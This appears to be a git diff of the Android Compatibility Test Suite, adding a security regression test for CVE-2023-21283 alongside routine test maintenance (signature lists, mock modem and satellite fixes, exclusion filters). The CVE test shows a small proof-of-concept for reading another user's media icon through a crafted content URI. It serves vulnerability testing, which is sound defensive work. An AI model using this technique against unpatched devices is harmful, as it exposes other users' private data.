+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+import static com.google.common.truth.TruthJUnit.assume;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.content.ContentProvider;
+import android.content.Context;
+import android.graphics.drawable.Icon;
+import android.os.UserManager;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.telecom.StatusHints;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2023_21283 extends StsExtraBusinessLogicTestCase {
+
+ @AsbSecurityTest(cveBugId = 280797684)
+ @Test
+ public void testPocCVE_2023_21283() {
+ try {
+ // Check if the device supports multiple users or not
+ Context context = getContext();
+ assume().withMessage("This device does not support multiple users")
+ .that(context.getSystemService(UserManager.class).supportsMultipleUsers())
+ .isTrue();
+
+ // Create StatusHints object with an icon specified by URI associated with target user.
+ int targetUserId = context.getUserId() + 1;
+ StatusHints hints =
+ new StatusHints(
+ "CVE_2023_21283_user",
+ Icon.createWithContentUri(
+ ContentProvider.maybeAddUserId(
+ EXTERNAL_CONTENT_URI, targetUserId)),
+ null);
+
+ // With fix, getIcon() returns null.
+ assertWithMessage("Vulnerable to b/280797684").that(hints.getIcon()).isNull();
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
index 92f3706c989..f9ce8df71b5 100644
--- a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
@@ -34,6 +34,7 @@ import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
+import java.util.TreeSet;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
@@ -44,7 +45,7 @@ public class PackageSignatureTest extends AndroidTestCase {
@RestrictedBuildTest
public void testPackageSignatures() throws Exception {
- Set<String> badPackages = new HashSet<String>();
+ Set<String> badPackages = new TreeSet<>();
Set<Signature> wellKnownSignatures = getWellKnownSignatures();
PackageManager packageManager = mContext.getPackageManager();
@@ -77,7 +78,7 @@ public class PackageSignatureTest extends AndroidTestCase {
* .bin files when adding entries to this list.
*/
private Set<Signature> getWellKnownSignatures() throws NotFoundException, IOException {
- Set<Signature> wellKnownSignatures = new HashSet<Signature>();
+ Set<Signature> wellKnownSignatures = new HashSet<>();
wellKnownSignatures.add(getSignature(R.raw.sig_media));
wellKnownSignatures.add(getSignature(R.raw.sig_platform));
wellKnownSignatures.add(getSignature(R.raw.sig_shared));
@@ -107,6 +108,83 @@ public class PackageSignatureTest extends AndroidTestCase {
// won't negatively affect tests to include their signatures here too.
wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_tzdata));
wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_tzdata2));
+ wellKnownSignatures.add(getSignature(R.raw.sig_android_telephony_cts_testkey));
+ wellKnownSignatures.add(getSignature(R.raw.sig_build_bazel_examples_apex_minimal));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cert));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_adbd));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_adservices));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_adservices_api));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_appsearch));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_art));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_bluetooth));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_btservices));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_car_framework));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_cellbroadcast));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_compos));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_connectivity_resources));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_extservices));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_geotz));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_hardware_core_permissions));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_hardware_power));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_hardware_sensors));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_hardware_thermal));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_hardware_usb));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_hardware_vibrator));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_hardware_wifi));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_hotspot2_osulogin));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_i18n));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_ipsec));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_mediaprovider));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_neuralnetworks));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_os_statsd));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_permission));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_rkpd));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_runtime));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_safetycenter_resources));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_sdkext));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_uwb));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_uwb_resources));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_vibrator_drv2624));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_vibrator_sunfish));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_virt));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_vndk));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_wifi));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_wifi_dialog));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_wifi_resources));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_google_cf_apex));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_google_emulated_camera_provider_hal));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cts_appsearch_helper_cert_a));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cts_appsearch_helper_cert_b));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cts_appsearch_hosttest_helper_cert_a));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cts_appsearch_hosttest_helper_cert_b));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cts_blob_helper_cert));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cts_blob_helper_cert2));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cts_keyset_test_a));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cts_keyset_test_b));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cts_keyset_test_c));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cts_keyset_test_ec_a));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cts_net_app));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cts_testkey1));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cts_testkey2));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cts_uicc_2021));
+ wellKnownSignatures.add(getSignature(R.raw.sig_ec_p256));
+ wellKnownSignatures.add(getSignature(R.raw.sig_ec_p256_2));
+ wellKnownSignatures.add(getSignature(R.raw.sig_ec_p256_3));
+ wellKnownSignatures.add(getSignature(R.raw.sig_ec_p256_4));
+ wellKnownSignatures.add(getSignature(R.raw.sig_ec_p256_5));
+ wellKnownSignatures.add(getSignature(R.raw.sig_keyset_A));
+ wellKnownSignatures.add(getSignature(R.raw.sig_keyset_B));
+ wellKnownSignatures.add(getSignature(R.raw.sig_rro_remounted_test_a));
+ wellKnownSignatures.add(getSignature(R.raw.sig_rsa_2048));
+ wellKnownSignatures.add(getSignature(R.raw.sig_sdk_sandbox));
+ wellKnownSignatures.add(getSignature(R.raw.sig_security_cts_test_cert));
+ wellKnownSignatures.add(getSignature(R.raw.sig_shell_as_test_app_key));
+ wellKnownSignatures.add(getSignature(R.raw.sig_test_cert_1));
+ wellKnownSignatures.add(getSignature(R.raw.sig_test_cert_2));
+ wellKnownSignatures.add(getSignature(R.raw.sig_test_cert_3));
+ wellKnownSignatures.add(getSignature(R.raw.sig_test_cert_4));
+ wellKnownSignatures.add(getSignature(R.raw.sig_testcert));
+ wellKnownSignatures.add(getSignature(R.raw.sig_unit_test));
return wellKnownSignatures;
}
diff --git a/tests/tests/telephony/current/AndroidTest.xml b/tests/tests/telephony/current/AndroidTest.xml
index 947443bb32d..3ef2798c31e 100644
--- a/tests/tests/telephony/current/AndroidTest.xml
+++ b/tests/tests/telephony/current/AndroidTest.xml
@@ -64,6 +64,8 @@
<option name="teardown-command" value="pm enable com.android.dialer/com.android.voicemail.impl.OmtpService" />
<option name="run-command" value="setprop persist.radio.allow_mock_modem true" />
<option name="teardown-command" value="setprop persist.radio.allow_mock_modem false" />
+ <option name="run-command" value="device_config set_sync_disabled_for_tests persistent" />
+ <option name="teardown-command" value="device_config set_sync_disabled_for_tests none" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.FeatureFlagTargetPreparer" >
<option name="flag-value" value="telephony/com.android.internal.telephony.flags.oem_enabled_satellite_flag=true" />
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java
index dae46f7fb61..78fb0af896c 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java
@@ -147,6 +147,12 @@ public class TelephonyManagerTestOnMockModem {
sCallStateChangeCallbackHandler =
new Handler(sCallStateChangeCallbackHandlerThread.getLooper());
mShaId = getShaId(TelephonyUtils.CTS_APP_PACKAGE);
+
+ final PackageManager pm = getContext().getPackageManager();
+ if (pm.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+ //Wait for Telephony FW and RIL initialization are done
+ TimeUnit.SECONDS.sleep(4);
+ }
}
@AfterClass
diff --git a/tests/tests/telephony/current/src/android/telephony/satellite/cts/MockSatelliteService.java b/tests/tests/telephony/current/src/android/telephony/satellite/cts/MockSatelliteService.java
index cadf0bf5c23..3b5a7dd4921 100644
--- a/tests/tests/telephony/current/src/android/telephony/satellite/cts/MockSatelliteService.java
+++ b/tests/tests/telephony/current/src/android/telephony/satellite/cts/MockSatelliteService.java
@@ -95,6 +95,8 @@ public class MockSatelliteService extends SatelliteImplBase {
private Object mSendDatagramWithDelayLock = new Object();
private static final long TIMEOUT = 1000;
private final AtomicBoolean mShouldRespondTelephony = new AtomicBoolean(true);
+ private final AtomicBoolean mShouldNotifyRemoteServiceConnected =
+ new AtomicBoolean(false);
/**
* Create MockSatelliteService using the Executor specified for methods being called from
@@ -468,6 +470,9 @@ public class MockSatelliteService extends SatelliteImplBase {
public void setLocalSatelliteListener(@NonNull ILocalSatelliteListener listener) {
logd("setLocalSatelliteListener: listener=" + listener);
mLocalListener = listener;
+ if (mShouldNotifyRemoteServiceConnected.get()) {
+ notifyRemoteServiceConnected();
+ }
}
public void setErrorCode(@SatelliteError int errorCode) {
@@ -595,7 +600,12 @@ public class MockSatelliteService extends SatelliteImplBase {
private void notifyRemoteServiceConnected() {
logd("notifyRemoteServiceConnected");
- runWithExecutor(() -> mLocalListener.onRemoteServiceConnected());
+ if (mLocalListener != null) {
+ runWithExecutor(() -> mLocalListener.onRemoteServiceConnected());
+ mShouldNotifyRemoteServiceConnected.set(false);
+ } else {
+ mShouldNotifyRemoteServiceConnected.set(true);
+ }
}
/**
diff --git a/tests/tests/textclassifier/res/layout/main.xml b/tests/tests/textclassifier/res/layout/main.xml
index fe6f06bad20..73ab09943b1 100644
--- a/tests/tests/textclassifier/res/layout/main.xml
+++ b/tests/tests/textclassifier/res/layout/main.xml
@@ -22,7 +22,7 @@
<TextView
android:id="@+id/textview"
- android:layout_width="match_parent"
+ android:layout_width="wrap_content"
android:layout_height="wrap_content"/>
</LinearLayout> \ No newline at end of file
diff --git a/tests/tests/view/src/android/view/cts/PrecompiledLayoutTest.java b/tests/tests/view/src/android/view/cts/PrecompiledLayoutTest.java
deleted file mode 100644
index 2bc05d3ad1c..00000000000
--- a/tests/tests/view/src/android/view/cts/PrecompiledLayoutTest.java
+++ /dev/null
@@ -1,98 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.view.cts;
-
-import android.content.Context;
-import android.view.LayoutInflater;
-import android.view.View;
-import android.view.ViewGroup;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class PrecompiledLayoutTest {
- private LayoutInflater mInflater;
-
- @Before
- public void setup() {
- Context context = InstrumentationRegistry.getTargetContext();
- mInflater = (LayoutInflater) context.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
- }
-
- /**
- * Check whether two layouts are equivalent. We do this by making sure the
- * classes match, that they have the same ID, and that ViewGroups have the
- * same children.
- */
- private void assertEquivalentLayouts(View lhs, View rhs) {
- // Make sure both are null or both are not null.
- Assert.assertEquals(lhs == null, rhs == null);
- if (lhs == null) {
- // If the two objects are null, then they are the same.
- return;
- }
-
- // The two views should have the same class and ID
- Assert.assertSame(lhs.getClass(), rhs.getClass());
- Assert.assertEquals(lhs.getId(), rhs.getId());
-
- // If these are ViewGroups, make sure the children are also equivalent.
- if (lhs instanceof ViewGroup) {
- ViewGroup lhsGroup = (ViewGroup) lhs;
- ViewGroup rhsGroup = (ViewGroup) rhs;
-
- Assert.assertEquals(lhsGroup.getChildCount(), rhsGroup.getChildCount());
-
- for (int i = 0; i < lhsGroup.getChildCount(); i++) {
- assertEquivalentLayouts(lhsGroup.getChildAt(i), rhsGroup.getChildAt(i));
- }
- }
- }
-
- private void compareInflation(int resourceId) {
- // Inflate without layout precompilation.
- mInflater.setPrecompiledLayoutsEnabledForTesting(false);
- View interpreted = mInflater.inflate(resourceId, null);
-
- // Inflate with layout precompilation
- mInflater.setPrecompiledLayoutsEnabledForTesting(true);
- View precompiled = mInflater.inflate(resourceId, null);
-
- assertEquivalentLayouts(interpreted, precompiled);
- }
-
- // The following tests make sure that we get equivalent layouts when
- // inflated with and without precompilation.
-
- @Test
- public void equivalentInflaterLayout() {
- compareInflation(R.layout.inflater_layout);
- }
-
- @Test
- public void equivalentInflaterOverrideThemeLayout() {
- compareInflation(R.layout.inflater_override_theme_layout);
- }
-
- @Test
- public void equivalentInflaterLayoutTags() {
- compareInflation(R.layout.inflater_layout_tags);
- }
-}
diff --git a/tests/tests/virtualdevice/src/android/virtualdevice/cts/ActivityInterceptionTest.java b/tests/tests/virtualdevice/src/android/virtualdevice/cts/ActivityInterceptionTest.java
index fcf7d1ad365..fd5fad5bd04 100644
--- a/tests/tests/virtualdevice/src/android/virtualdevice/cts/ActivityInterceptionTest.java
+++ b/tests/tests/virtualdevice/src/android/virtualdevice/cts/ActivityInterceptionTest.java
@@ -165,7 +165,8 @@ public class ActivityInterceptionTest {
mInterceptor);
// Starting test on EmptyActivity
- Intent startIntent = new Intent(mContext, EmptyActivity.class)
+ Intent startIntent = new Intent(Intent.ACTION_MAIN)
+ .setComponent(new ComponentName(mContext, EmptyActivity.class))
.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
EmptyActivity emptyActivity = (EmptyActivity) InstrumentationRegistry.getInstrumentation()
@@ -212,7 +213,8 @@ public class ActivityInterceptionTest {
interceptorOther);
// Starting test on EmptyActivity
- Intent startIntent = new Intent(mContext, EmptyActivity.class)
+ Intent startIntent = new Intent(Intent.ACTION_MAIN)
+ .setComponent(new ComponentName(mContext, EmptyActivity.class))
.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK
| Intent.FLAG_ACTIVITY_CLEAR_TASK);
@@ -260,7 +262,8 @@ public class ActivityInterceptionTest {
mInterceptor);
// Starting test on EmptyActivity
- Intent startIntent = new Intent(mContext, EmptyActivity.class)
+ Intent startIntent = new Intent(Intent.ACTION_MAIN)
+ .setComponent(new ComponentName(mContext, EmptyActivity.class))
.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK
| Intent.FLAG_ACTIVITY_CLEAR_TASK);
@@ -301,7 +304,8 @@ public class ActivityInterceptionTest {
Executors.newSingleThreadExecutor(), interceptorOther);
// Starting test on EmptyActivity
- Intent startIntent = new Intent(mContext, EmptyActivity.class)
+ Intent startIntent = new Intent(Intent.ACTION_MAIN)
+ .setComponent(new ComponentName(mContext, EmptyActivity.class))
.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK
| Intent.FLAG_ACTIVITY_CLEAR_TASK);
diff --git a/tests/tests/virtualdevice/src/android/virtualdevice/cts/VirtualDeviceManagerBasicTest.java b/tests/tests/virtualdevice/src/android/virtualdevice/cts/VirtualDeviceManagerBasicTest.java
index ff8ea3fb313..1ddd14cac56 100644
--- a/tests/tests/virtualdevice/src/android/virtualdevice/cts/VirtualDeviceManagerBasicTest.java
+++ b/tests/tests/virtualdevice/src/android/virtualdevice/cts/VirtualDeviceManagerBasicTest.java
@@ -132,7 +132,7 @@ public class VirtualDeviceManagerBasicTest {
@After
public void tearDown() {
- if (mVirtualDevice != null && mVirtualDevice.getDeviceId() != DEVICE_ID_INVALID) {
+ if (mVirtualDevice != null) {
mVirtualDevice.close();
}
if (mAnotherVirtualDevice != null) {
@@ -194,7 +194,9 @@ public class VirtualDeviceManagerBasicTest {
mVirtualDevice.close();
- assertThat(mVirtualDevice.getDeviceId()).isEqualTo(DEVICE_ID_INVALID);
+ // Ensure the virtual device can no longer setup new functionality
+ assertThrows(SecurityException.class, () -> mVirtualDevice.createVirtualDisplay(
+ DEFAULT_VIRTUAL_DISPLAY_CONFIG, null, null));
}
@Test
@@ -207,7 +209,9 @@ public class VirtualDeviceManagerBasicTest {
mVirtualDevice.close();
mVirtualDevice.close();
- assertThat(mVirtualDevice.getDeviceId()).isEqualTo(DEVICE_ID_INVALID);
+ // Ensure the virtual device can no longer setup new functionality
+ assertThrows(SecurityException.class, () -> mVirtualDevice.createVirtualDisplay(
+ DEFAULT_VIRTUAL_DISPLAY_CONFIG, null, null));
}
@Test
@@ -256,7 +260,6 @@ public class VirtualDeviceManagerBasicTest {
// Ensure device is closed properly and the display is removed
assertThat(display.getDisplay().isValid()).isFalse();
- assertThat(mVirtualDevice.getDeviceId()).isEqualTo(DEVICE_ID_INVALID);
// Ensure the virtual device can no longer setup new functionality
assertThrows(SecurityException.class, () -> mVirtualDevice.createVirtualDisplay(
@@ -302,7 +305,9 @@ public class VirtualDeviceManagerBasicTest {
mVirtualDevice.close();
- assertThat(mVirtualDevice.getDeviceId()).isEqualTo(DEVICE_ID_INVALID);
+ // Ensure the virtual device can no longer setup new functionality
+ assertThrows(SecurityException.class, () -> mVirtualDevice.createVirtualDisplay(
+ DEFAULT_VIRTUAL_DISPLAY_CONFIG, null, null));
}
@Test
@@ -343,7 +348,9 @@ public class VirtualDeviceManagerBasicTest {
mFakeAssociationRule.disassociate();
latch.await(5, TimeUnit.SECONDS);
- assertThat(mVirtualDevice.getDeviceId()).isEqualTo(DEVICE_ID_INVALID);
+ // Ensure the virtual device can no longer setup new functionality
+ assertThrows(SecurityException.class, () -> mVirtualDevice.createVirtualDisplay(
+ DEFAULT_VIRTUAL_DISPLAY_CONFIG, null, null));
}
@Test
@@ -384,7 +391,9 @@ public class VirtualDeviceManagerBasicTest {
mVirtualDevice.close();
latch.await(5, TimeUnit.SECONDS);
- assertThat(mVirtualDevice.getDeviceId()).isEqualTo(DEVICE_ID_INVALID);
+ // Ensure the virtual device can no longer setup new functionality
+ assertThrows(SecurityException.class, () -> mVirtualDevice.createVirtualDisplay(
+ DEFAULT_VIRTUAL_DISPLAY_CONFIG, null, null));
}
/**
@@ -865,4 +874,3 @@ public class VirtualDeviceManagerBasicTest {
}
}
}
-
diff --git a/tests/tests/virtualdevice/src/android/virtualdevice/cts/sensor/VirtualSensorTest.java b/tests/tests/virtualdevice/src/android/virtualdevice/cts/sensor/VirtualSensorTest.java
index 005eab1e159..ef720f868a5 100644
--- a/tests/tests/virtualdevice/src/android/virtualdevice/cts/sensor/VirtualSensorTest.java
+++ b/tests/tests/virtualdevice/src/android/virtualdevice/cts/sensor/VirtualSensorTest.java
@@ -97,7 +97,7 @@ public class VirtualSensorTest {
private static final String VIRTUAL_SENSOR_NAME = "VirtualAccelerometer";
private static final String VIRTUAL_SENSOR_VENDOR = "VirtualDeviceVendor";
- private static final int CUSTOM_SENSOR_TYPE = 9999;
+ private static final int CUSTOM_SENSOR_TYPE = Sensor.TYPE_DEVICE_PRIVATE_BASE + 9999;
private static final int SENSOR_TIMEOUT_MILLIS = 1000;
diff --git a/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java b/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
index 74fdf642e09..a23a8904b4f 100644
--- a/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
@@ -680,8 +680,8 @@ public class SingleDeviceTest extends WifiJUnit3TestBase {
Characteristics characteristics = mWifiAwareManager.getCharacteristics();
assertNotNull("Wi-Fi Aware characteristics are null", characteristics);
assertEquals("Service Name Length", characteristics.getMaxServiceNameLength(), 255);
- assertEquals("Service Specific Information Length",
- characteristics.getMaxServiceSpecificInfoLength(), 255);
+ assertTrue("Service Specific Information Length",
+ characteristics.getMaxServiceSpecificInfoLength() >= 255);
assertEquals("Match Filter Length", characteristics.getMaxMatchFilterLength(), 255);
assertNotEquals("Cipher suites", characteristics.getSupportedCipherSuites(), 0);
assertTrue("Max number of NDP", characteristics.getNumberOfSupportedDataPaths() > 0);
diff --git a/tools/cts-tradefed/Android.bp b/tools/cts-tradefed/Android.bp
index b699bdec0f4..9fa7ac21fc7 100644
--- a/tools/cts-tradefed/Android.bp
+++ b/tools/cts-tradefed/Android.bp
@@ -34,7 +34,7 @@ tradefed_binary_host {
wrapper: "etc/cts-tradefed",
short_name: "CTS",
full_name: "Compatibility Test Suite",
- version: "14_r2",
+ version: "14_r3",
static_libs: ["cts-tradefed-harness"],
required: ["compatibility-host-util"],
}
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 0ad645eab21..ee57f286d9f 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -308,4 +308,16 @@
<!-- b/303631162 -->
<option name="compatibility:exclude-filter" value="CtsTelephonyTestCases android.telephony.ims.cts.ImsCallingTest#testCallJoinExistingConferenceCallAfterCallSwap" />
<option name="compatibility:exclude-filter" value="CtsTelephonyTestCases android.telephony.ims.cts.ImsCallingTest#testCallJoinExistingConferenceCallAfterCallSwapFail" />
+
+ <!-- b/294251187 -->
+ <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.SurfaceControlViewHostTests#testFocusWithTouch" />
+ <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.SurfaceControlViewHostTests#testPopupWindowPosition" />
+ <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.SurfaceControlViewHostTests#testFocusWithTouchCrossProcess" />
+ <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.SurfaceControlViewHostTests#testChildWindowFocusable" />
+
+ <!-- b/294253316 -->
+ <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.WindowUntrustedTouchTest#testWhenOneCustomToastWindowAndOneSawWindowBelowThreshold_blocksTouch" />
+
+ <!-- b/307489638 -->
+ <option name="compatibility:exclude-filter" value="CtsTelephonyTestCases android.telephony.satellite.cts.SatelliteManagerTestOnMockService" />
</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-csi-no-apks.xml b/tools/cts-tradefed/res/config/cts-on-csi-no-apks.xml
index dc93565805c..462b477b893 100644
--- a/tools/cts-tradefed/res/config/cts-on-csi-no-apks.xml
+++ b/tools/cts-tradefed/res/config/cts-on-csi-no-apks.xml
@@ -104,7 +104,6 @@
<option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActivityManagerTest#testTimeTrackingAPI_SwitchAwayTriggers" />
<option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.BooleanTileServiceTest" />
<option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.TileServiceTest" />
- <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.QuietModeHostsideTest" />
<option name="compatibility:exclude-filter" value="CtsShortcutManagerLauncher1" />
<option name="compatibility:exclude-filter" value="CtsShortcutManagerLauncher2" />
<option name="compatibility:exclude-filter" value="CtsShortcutManagerLauncher3" />